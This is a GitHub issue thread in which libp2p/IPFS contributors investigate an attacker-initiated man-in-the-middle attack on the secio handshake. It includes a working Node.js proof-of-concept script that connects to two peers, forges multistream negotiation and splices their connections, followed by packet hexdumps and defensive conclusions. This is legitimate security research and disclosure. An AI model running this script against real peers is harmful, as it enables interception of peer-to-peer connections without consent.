Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

attacker initiated MITM? #3

Open
dominictarr opened this issue Apr 26, 2020 · 10 comments
Open

attacker initiated MITM? #3

dominictarr opened this issue Apr 26, 2020 · 10 comments

Comments

@dominictarr
Copy link

This one is a long shot, but would it be possible to have an attack initiated MITM?
The planned remediated (signed peer records) for #2 depends on the idea that when Alice tries to connect to Bob, she connects only to the correct address given in a peer record signed by Bob. If Alice is running out of date, or modified, or incorrect software, and this causes her to connect via non-signed records then the fake colocation attack can still be used againts both Bob and Alice.

This means that Bob's security depends on Alice doing the right thing. Okay, maybe if Alice is penalized for running wrong software, that's okay, at least no one else will think that Bob is colocated.

But here is the idea: what if M could connect to A and B simultaniously, but somehow manipulate the handshake, so that A and B both thought they had received an incoming connection.

Using this issue to collect information on weather this is feasible.

  • In some approaches to p2p NAT traversal, you have both ends of a connection attempt to reach each other, until one wins. I think maybe utp might do this? and webrtc?
  • Some secure channels are asymmetric and you could not take data the server sends and make it look like a client. with other designs you could! those designs could be attacked.
  • does libp2p use any of these?
  • when libp2p connects to a peer (with an id) if it turns out to be a different peer, it drops the connection. I presume it does this but I need to see the code
@dominictarr
Copy link
Author

UPDATE: I'm fairly sure that secio is vulnerable to this. it's a very symmetric protocol. Each peer sends an identical shaped message {random, pubkey, ...} then sends {localEphemeralKey, sign({localRandom, remoteRandom, localEphemeralKey}, localPrivateKey)} then they derive stream keys from that.

Each peer, whether they initiated the connection or received it does the same thing.
So if M dails A and B, then just proxies A and B to each other, A thinks B called, and B thinks A called!

Whether this connection stays active and becomes peers, depends on the next layer of the protocol... to be confirmed, but I'm gonna guess it does. Based on my current understanding I think both peers would send IHAVE messages. More work to do to confirm here.

@dominictarr
Copy link
Author

When two libp2p peers connect, they start by negotiating protocols using multistream this is in plaintext, so mallory can just connect to peers and request secio from both sides. in multistream you can also ask for a list of the protocols supported, so an attacker can easily scan the network and identify peers that support secio.

If A and B support secio, but would prefer a stronger protocol, it doesn't matter, because M can control the multistream phase, so M can convince both A and B that the other only supports secio.

@dominictarr
Copy link
Author

libp2p also uses Noise protocol. Noise protocol is actually a "protocol framework" and supports 12 basic protocols, which all have different security properties. ipfs uses XX.

they describe it like this

XX:
  -> e
  <- e, ee, s, es
  -> s, se

(which I find quite confusing)
Alice is on the left, sending to Bob with -> and Bob is the reverse.
My preferred notation is named keys, capital for static key, lower case for ephemeral.
A is Alice long term key, a is Alice ephemeral key. A*b is scalarmult/dh. wether to use
the public key from A or b is implied because a peer won't know both.

what do es and se mean?

For "es": Calls MixKey(DH(e, rs)) if initiator, MixKey(DH(s, re)) if responder.
<-- es means initiator emphemeral aB for Alice, or Ba for Bob. (does order matter? what's mixkey?)

For "se": Calls MixKey(DH(s, re)) if initiator, MixKey(DH(e, rs)) if responder.
<- es means initiator static, A*b

Alice: -> a
Bob: <- b, a*b, B, a*B
Alice: -> A, A*b

could we still make this work with Mallory? unlike secio.

Mallory: ->m (to Alice)
Mallory: ->m (to Bob)

neither alice or bob have any idea who they are talking to yet
but they are sending their keys.

Bob: <- b, b*m, B, m*B (to Mallory)
Alice: <- a, a*m, A, m*A (to Mallory)

can Mallory then create a valid client response packet for both sides?
lets find out!

Mallory: -> B, B*a (to Alice) XXX
Mallory: -> A, A*b (to Bob) XXX

this fails because M doesn't know a.private or b.private so they can't generate Ab or Ba.

I also considered M opening a separate connection, and then sending a to B, but Bob will use a new ephemeral connection on this side.

Other handshake patterns within the Noise protocol family would be vulnerable such as NN and KK, but luckily libp2p doesn't use these.

@vyzo
Copy link

vyzo commented Apr 27, 2020

Note that secio is actively in the deprecation path, to be replaced by noise/tls.

@vyzo
Copy link

vyzo commented Apr 27, 2020

so mallory can just connect to peers and request secio from both sides.

In practice this won't work as both peers will end up in "server" role, and unable to complete the handshake connection.

Also of note, the forthcoming v2.0 of multistream, which is backwards incompatible, will jump directly to the crypto handshake; see libp2p/specs#227 for a wip spec.

@dominictarr
Copy link
Author

@vyzo secio is so symmetric that the handshake still works with two servers.

attack code:

var crypto = require('crypto')
var hexpp = require('hexpp')
var net = require('net')

var Alice = net.connect(+process.argv[2])
var Bob   = net.connect(+process.argv[3])

function attack (a, b, name) {
  var C = 0
  //send fake multistream negioation, asking for secio
  a.write('\x13/multistream/1.0.0\n')
  a.write('\x0d/secio/1.0.0\n')
  a.on('data', function (data) {
    console.error('Packet:',++C, name)
    if(C == 1) {
      console.error(hexpp(data.slice(1+0x13+1+0xd)))
      //the packet will include a secio header.
      //cut that off, and pass the rest to the other stream.
      b.write(data.slice(1+0x13+1+0xd))
     //then pipe the this connection to the other one.
      a.pipe(b)
    }
    else
      console.error(hexpp(data))
 })
}

attack(Alice, Bob, 'Alice')
attack(Bob, Alice, 'Bob')

connect to two peers.
I configured them to use 4001 and 4003 ports
and ran the second one with IPFS_PATH=~/.ipfs2 ipfs
which loads from a different repo. you also need to disable mdns in the config,
so that the peers don't connect to each other on their own.

output looks like:

node attack.js 4001 4003
Packet: 1 Alice
00000000  00 00 01 7c 0a 10 4b f4  26 29 25 2c db 3f 07 1b  |...|..K.&)%,.?..|
00000010  a5 70 89 06 af 62 12 ab  02 08 00 12 a6 02 30 82  |.p...b........0.|
00000020  01 22 30 0d 06 09 2a 86  48 86 f7 0d 01 01 01 05  |."0...*.H.......|
00000030  00 03 82 01 0f 00 30 82  01 0a 02 82 01 01 00 b3  |......0.........|
00000040  ea 1d 16 ca 04 d6 5c d9  63 1a b8 6c 2b 2a 75 46  |......\.c..l+*uF|
00000050  4f 4f ce 8d a5 c5 b0 4b  03 cd 1a 02 c9 dd a4 7a  |OO.....K.......z|
00000060  3c da c5 ad ce a6 0f 29  01 f8 7a 9a 8e d3 78 e6  |<......)..z...x.|
00000070  53 d0 01 ec 6e 4f 6b 12  9f 26 0e 96 02 7b 18 6f  |S...nOk..&...{.o|
00000080  ca 56 70 36 16 ec ea 74  fc 1a dc 83 e7 74 37 e1  |.Vp6...t.....t7.|
00000090  bc d7 f9 0e 28 d2 2a 3f  d3 e9 eb bc 84 5b d5 16  |....(.*?.....[..|
000000a0  68 d9 35 8a b5 36 73 4d  e7 e8 93 35 1a 0f b8 76  |h.5..6sM...5...v|
000000b0  8a 45 c7 c3 01 f6 41 ee  60 dc d3 9a a7 4c 3b 57  |.E....A.`....L;W|
000000c0  f8 db b0 df f2 f3 3c 67  3e 25 af 5d 75 3f 4b 26  |......<g>%.]u?K&|
000000d0  10 d0 af b6 dc b4 d0 98  fb 2d 11 23 92 8b 90 65  |.........-.#...e|
000000e0  98 01 37 57 83 eb 79 15  27 46 62 57 eb 13 c0 5e  |..7W..y.'FbW...^|
000000f0  ec 3d 5e 06 5c ad 72 f8  2b 23 c5 c8 9c cc 22 e6  |.=^.\.r.+#....".|
00000100  33 8b b6 78 50 5f ed 27  dd a4 59 f4 2c d5 5c 39  |3..xP_.'..Y.,.\9|
00000110  2f f0 6e 80 6b 5e 30 08  bc e5 f7 58 62 2f 21 a9  |/.n.k^0....Xb/!.|
00000120  a1 6f 03 e4 b9 e9 22 44  a8 9a 2c cd 4e d1 d9 01  |.o...."D..,.N...|
00000130  33 49 af 54 60 f5 c5 3b  31 3a 7b 00 4b 9f 27 02  |3I.T`..;1:{.K.'.|
00000140  03 01 00 01 1a 11 50 2d  32 35 36 2c 50 2d 33 38  |......P-256,P-38|
00000150  34 2c 50 2d 35 32 31 22  18 41 45 53 2d 32 35 36  |4,P-521".AES-256|
00000160  2c 41 45 53 2d 31 32 38  2c 42 6c 6f 77 66 69 73  |,AES-128,Blowfis|
00000170  68 2a 0d 53 48 41 32 35  36 2c 53 48 41 35 31 32  |h*.SHA256,SHA512|
Packet: 1 Bob
00000000  00 00 01 7c 0a 10 5b 54  4f 78 34 2a b7 48 8b 90  |...|..[TOx4*.H..|
00000010  b9 95 5a 4f ef c3 12 ab  02 08 00 12 a6 02 30 82  |..ZO..........0.|
00000020  01 22 30 0d 06 09 2a 86  48 86 f7 0d 01 01 01 05  |."0...*.H.......|
00000030  00 03 82 01 0f 00 30 82  01 0a 02 82 01 01 00 d3  |......0.........|
00000040  f4 0f da 22 f7 5c f3 b0  38 ad 58 c4 54 46 03 ed  |...".\..8.X.TF..|
00000050  05 06 eb 6e d2 6b 43 ed  a6 8f f7 14 48 95 e5 57  |...n.kC.....H..W|
00000060  56 2b 6d 3a fb e4 3a e3  95 25 8b ce e6 63 5c 79  |V+m:..:..%...c\y|
00000070  e2 c8 4c 39 ce d7 0e ff  c4 0f 7e 62 d6 b5 91 2c  |..L9......~b...,|
00000080  de e7 54 1e d6 a9 27 b0  80 a2 54 a4 65 db c4 f6  |..T...'...T.e...|
00000090  b0 db 4a 2c 4c e0 b9 77  2c 35 1e ef d6 cd 68 79  |..J,L..w,5....hy|
000000a0  6b 76 4a 54 b5 a9 c5 d6  16 84 38 08 04 cb ff ba  |kvJT......8.....|
000000b0  98 b6 e4 e6 b3 7c 84 50  a6 ae c0 87 88 cd b3 93  |.....|.P........|
000000c0  13 06 01 9b f7 a8 9f e8  7e c6 82 2b be 62 4a 40  |........~..+.bJ@|
000000d0  60 20 60 d1 7f a3 83 a5  8a 56 b6 e3 a2 00 a4 15  |` `......V......|
000000e0  4d 37 6c 5a 7a e4 b4 60  72 62 d0 61 31 52 c6 bc  |M7lZz..`rb.a1R..|
000000f0  74 73 7e 43 ce 95 ff 21  70 bd c8 51 b5 fa c8 45  |ts~C...!p..Q...E|
00000100  ae d0 a7 7a 65 c3 68 db  b3 78 05 5d ef 2c 87 d6  |...ze.h..x.].,..|
00000110  e3 07 94 b9 e2 86 81 98  46 cd be 28 1e 71 d0 8f  |........F..(.q..|
00000120  06 b9 8d 57 fe ee e4 57  56 d3 ff 3d 8b d5 60 59  |...W...WV..=..`Y|
00000130  ed 36 6e 30 2c 2d 58 99  b5 fb 53 ee 9f 56 dd 02  |.6n0,-X...S..V..|
00000140  03 01 00 01 1a 11 50 2d  32 35 36 2c 50 2d 33 38  |......P-256,P-38|
00000150  34 2c 50 2d 35 32 31 22  18 41 45 53 2d 32 35 36  |4,P-521".AES-256|
00000160  2c 41 45 53 2d 31 32 38  2c 42 6c 6f 77 66 69 73  |,AES-128,Blowfis|
00000170  68 2a 0d 53 48 41 32 35  36 2c 53 48 41 35 31 32  |h*.SHA256,SHA512|
Packet: 2 Bob
00000000  00 00 01 46 0a 41 04 c2  22 37 f6 bb d4 0d 43 21  |...F.A.."7....C!|
00000010  e6 e3 14 d3 b5 90 69 c9  77 fc 57 1f 72 7b 6c 61  |......i.w.W.r{la|
00000020  78 5b d3 f3 23 e1 0d 55  e1 b4 2c 6f e9 db 53 e1  |x[..#..U..,o..S.|
00000030  32 5a a2 29 18 5d 00 f5  6f 8a 0c f6 da aa d1 60  |2Z.).]..o......`|
00000040  2b 29 70 76 26 dd be 12  80 02 b3 80 4f 9f 70 b7  |+)pv&.......O.p.|
00000050  4c c8 42 9e 09 28 eb b4  96 83 8b 35 07 6c ca cb  |L.B..(.....5.l..|
00000060  3a 50 86 2e 91 b3 f4 9d  24 01 0a aa 60 26 49 a4  |:P......$...`&I.|
00000070  7f 69 5c 82 44 13 35 ff  c6 91 0c 84 03 53 70 02  |.i\.D.5......Sp.|
00000080  32 c2 a3 6f ee b5 52 c3  ff d5 04 7d cc 52 83 cd  |2..o..R....}.R..|
00000090  e7 48 e7 9a 9c 07 dc 73  95 eb 88 d4 b7 ea a0 25  |.H.....s.......%|
000000a0  bb 17 f2 f4 c7 8b 7b 91  f5 9f b9 bb 3f 56 55 3b  |......{.....?VU;|
000000b0  83 4d 12 66 b8 25 a1 0c  c7 9f b4 a7 af 89 a2 bd  |.M.f.%..........|
000000c0  5f 58 14 33 f4 a4 9b f1  0c a8 ca 0a e8 fa 7d 11  |_X.3..........}.|
000000d0  a4 60 17 c7 ef f9 70 2d  d6 ef af e0 10 a0 8b 80  |.`....p-........|
000000e0  1e cf c8 9f bc ff 34 31  4d 72 11 0d 8b 3d b9 80  |......41Mr...=..|
000000f0  af 53 4b a4 61 77 f2 09  2a ca c5 10 f3 62 92 23  |.SK.aw..*....b.#|
00000100  41 3e d7 5e a1 8b 65 bd  b3 c8 a0 be 4a a5 12 40  |A>.^..e.....J..@|
00000110  76 d6 d3 0f 62 ee 69 35  b9 c7 84 34 4e 01 4d 9a  |v...b.i5...4N.M.|
00000120  8b 0b 2a 89 9c f0 c5 66  6e 92 8d b2 d8 e8 c4 38  |..*....fn......8|
00000130  8d d6 35 b6 7a 6b 75 d7  6d d6 b4 0b 0c d8 5c 0f  |..5.zku.m.....\.|
00000140  d6 af d4 19 5e 57 ea eb  0c fc                    |....^W....|
Packet: 2 Alice
00000000  00 00 01 46 0a 41 04 f0  9c 21 01 30 6f cb 7f 82  |...F.A...!.0o...|
00000010  0a 2b fc 50 fb 97 91 22  7e 5f 0d 18 0c d7 22 7b  |.+.P..."~_...."{|
00000020  4d cf 15 98 be 07 f7 ef  04 23 68 e7 93 1f e0 03  |M........#h.....|
00000030  59 04 6a 28 a8 71 2e 94  f8 d6 d8 75 0d 5e 00 30  |Y.j(.q.....u.^.0|
00000040  dc ee 6b 95 85 3c a1 12  80 02 66 87 46 2b 55 66  |..k..<....f.F+Uf|
00000050  24 ad 0e 54 6d c3 34 7a  35 88 6b 6d 54 2a b0 90  |$..Tm.4z5.kmT*..|
00000060  b1 13 fb 90 3e 7c a8 8e  51 4f 3e 44 d3 e2 d0 fd  |....>|..QO>D....|
00000070  b0 03 e4 69 6c 0f 16 54  d5 6c 35 7b 70 4e f0 cc  |...il..T.l5{pN..|
00000080  5a 28 2f 4d 55 4a de 4d  ff 4c 36 63 99 c0 6d 0f  |Z(/MUJ.M.L6c..m.|
00000090  5f 06 cc a8 2c 60 44 ae  25 47 28 9b 89 92 dd a2  |_...,`D.%G(.....|
000000a0  ab 39 39 b6 6a 3c 77 2a  6f 5a d1 42 33 3a 84 58  |.99.j<w*oZ.B3:.X|
000000b0  df ae 12 58 89 b0 15 ab  94 08 11 b1 aa 16 ab bf  |...X............|
000000c0  d3 8a a2 6e 5a 78 83 54  dc d2 35 38 3a 0a 17 e5  |...nZx.T..58:...|
000000d0  e7 b9 2c a5 99 d5 61 3a  f1 9c 36 f5 5f f9 7c 8f  |..,...a:..6._.|.|
000000e0  67 1f f8 0a a0 68 6d 47  72 52 ee c4 e0 fe 3e 44  |g....hmGrR....>D|
000000f0  8c c1 cd 77 a8 bf df e9  3a 65 bc f5 48 6d 65 5a  |...w....:e..HmeZ|
00000100  dd 5c 89 dc a5 39 5b 6e  0a fa 39 9a a3 ed 49 0b  |.\...9[n..9...I.|
00000110  95 81 ef b2 d7 28 3f 8a  55 ea ff a6 d1 d4 0e fb  |.....(?.U.......|
00000120  53 c0 e6 b5 27 1c 62 1b  72 7e f1 36 07 83 39 90  |S...'.b.r~.6..9.|
00000130  04 9d cc e4 64 dc b9 2e  21 cd b0 dd 0d ad c4 e9  |....d...!.......|
00000140  74 41 ec 05 58 34 a0 59  1e fa                    |tA..X4.Y..|
Packet: 3 Alice
00000000  00 00 00 30 a7 dd fb 34  4f 61 e6 18 4a 35 ae 77  |...0...4Oa..J5.w|
00000010  15 fb b3 09 85 f0 7c 1e  88 5e a0 19 79 28 60 ec  |......|..^..y(`.|
00000020  87 18 dd 96 ce a9 39 ba  38 6f b5 d9 be 4d aa a3  |......9.8o...M..|
00000030  6f f6 e7 7c                                       |o..||
Packet: 3 Bob
00000000  00 00 00 30 b2 0f 28 85  f2 6c 53 45 12 c5 b4 60  |...0..(..lSE...`|
00000010  8d 41 55 db bf 98 33 86  a2 fb 38 e4 87 af 6e fc  |.AU...3...8...n.|
00000020  3f 18 d4 91 42 2d 78 10  c8 25 7d 95 6c 72 8e 4f  |?...B-x..%}.lr.O|
00000030  59 3e 4a 9d 00 00 00 34  65 d4 d6 c8 a2 83 46 48  |Y>J....4e.....FH|
00000040  9a ec 5b 32 5d c1 b4 4a  bf df 2b 41 ed f5 a1 a6  |..[2]..J..+A....|
00000050  c1 6d cc c8 ae 78 a4 a6  82 72 9c b1 56 48 48 9d  |.m...x...r..VHH.|
00000060  6b 1e 0b f5 8c e0 a9 df  49 10 b0 7a              |k.......I..z|
Packet: 4 Alice
00000000  00 00 00 34 35 39 f9 16  8a 57 fd 62 3e 58 fc 7f  |...459...W.b>X..|
00000010  c7 c0 bf ce ca 00 5c 02  43 41 5d f5 84 7e 6a 2a  |......\.CA]..~j*|
00000020  da ce ce e1 c2 72 b2 91  c5 f5 d7 bf 76 f1 1a c4  |.....r......v...|
00000030  8f 52 45 a9 97 d7 e2 9d                           |.RE.....|

and then the connection stays open, but they don't send anything.
I presume this means the connection is valid...

@dominictarr
Copy link
Author

if I modify the attack to flip a random bit in packet 2 3 or 4 then the connection drops immediately. this would certainly cause an authentication failure.

@dominictarr
Copy link
Author

however! nothing new appears in the swarm peers output. So as @vyzo suggests, it's getting to the next layer, but then gets stuck at the transport-upgrader which expects the client to make the first action, so if you have two servers connected then it just doesn't do anything.

@dominictarr
Copy link
Author

note: takeaway: defence against this depends on two things: a) don't use crypto protocols that are too symmetrical. b) don't use application protocols where the server acts first.

ipfs does the second already, but it should probably be explicitly written in the spec.

@vyzo
Copy link

vyzo commented Apr 28, 2020

I think things might be getting stuck in identify, because the multiplexers both think they are servers and fail to open the new stream.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants